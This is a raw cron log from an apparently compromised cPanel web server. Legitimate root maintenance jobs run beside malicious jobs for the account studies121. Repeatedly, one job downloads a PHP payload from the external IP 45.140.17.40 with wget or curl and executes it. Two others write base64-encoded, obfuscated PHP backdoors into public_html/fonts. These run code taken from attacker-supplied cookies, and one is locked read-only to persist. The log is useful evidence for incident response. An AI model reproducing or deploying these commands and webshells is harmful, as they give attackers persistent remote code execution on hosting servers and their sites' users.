Sep  1 12:50:01 ip-184-168-122-23 CROND[28269]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:50:01 ip-184-168-122-23 CROND[28267]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:50:01 ip-184-168-122-23 CROND[28270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:50:01 ip-184-168-122-23 CROND[28271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:51:01 ip-184-168-122-23 CROND[28395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:51:01 ip-184-168-122-23 CROND[28398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:51:01 ip-184-168-122-23 CROND[28399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:51:01 ip-184-168-122-23 CROND[28400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:52:02 ip-184-168-122-23 CROND[28594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:52:02 ip-184-168-122-23 CROND[28599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:52:02 ip-184-168-122-23 CROND[28596]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:52:02 ip-184-168-122-23 CROND[28597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:52:02 ip-184-168-122-23 CROND[28598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:53:01 ip-184-168-122-23 CROND[28685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:53:01 ip-184-168-122-23 CROND[28686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:53:01 ip-184-168-122-23 CROND[28687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:53:01 ip-184-168-122-23 CROND[28688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:54:01 ip-184-168-122-23 CROND[28804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:54:01 ip-184-168-122-23 CROND[28809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:54:01 ip-184-168-122-23 CROND[28806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:54:01 ip-184-168-122-23 CROND[28808]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:54:01 ip-184-168-122-23 CROND[28807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:55:01 ip-184-168-122-23 CROND[28947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:55:01 ip-184-168-122-23 CROND[28948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:55:01 ip-184-168-122-23 CROND[28949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:55:01 ip-184-168-122-23 CROND[28951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:55:01 ip-184-168-122-23 CROND[28952]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:55:01 ip-184-168-122-23 CROND[28957]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:56:02 ip-184-168-122-23 CROND[29079]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:56:02 ip-184-168-122-23 CROND[29082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:56:02 ip-184-168-122-23 CROND[29084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:56:02 ip-184-168-122-23 CROND[29087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:56:02 ip-184-168-122-23 CROND[29090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:57:01 ip-184-168-122-23 CROND[29205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:57:01 ip-184-168-122-23 CROND[29209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:57:01 ip-184-168-122-23 CROND[29207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:57:01 ip-184-168-122-23 CROND[29208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:58:01 ip-184-168-122-23 CROND[29386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:58:01 ip-184-168-122-23 CROND[29388]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:58:01 ip-184-168-122-23 CROND[29391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:58:01 ip-184-168-122-23 CROND[29389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:58:01 ip-184-168-122-23 CROND[29390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:59:01 ip-184-168-122-23 CROND[29524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:59:01 ip-184-168-122-23 CROND[29525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:59:01 ip-184-168-122-23 CROND[29527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:59:01 ip-184-168-122-23 CROND[29528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:00:01 ip-184-168-122-23 CROND[29646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:00:01 ip-184-168-122-23 CROND[29648]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 13:00:01 ip-184-168-122-23 CROND[29649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:00:01 ip-184-168-122-23 CROND[29652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:00:01 ip-184-168-122-23 CROND[29654]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:00:01 ip-184-168-122-23 CROND[29653]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:00:01 ip-184-168-122-23 CROND[29655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:00:01 ip-184-168-122-23 CROND[29651]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:01:01 ip-184-168-122-23 CROND[29782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:01:01 ip-184-168-122-23 CROND[29784]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 13:01:01 ip-184-168-122-23 CROND[29785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:01:01 ip-184-168-122-23 CROND[29788]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 13:01:01 ip-184-168-122-23 CROND[29787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:01:01 ip-184-168-122-23 CROND[29790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29784]: starting 0anacron
Sep  1 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29802]: finished 0anacron
Sep  1 13:02:01 ip-184-168-122-23 CROND[29895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:02:01 ip-184-168-122-23 CROND[29898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:02:01 ip-184-168-122-23 CROND[29897]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
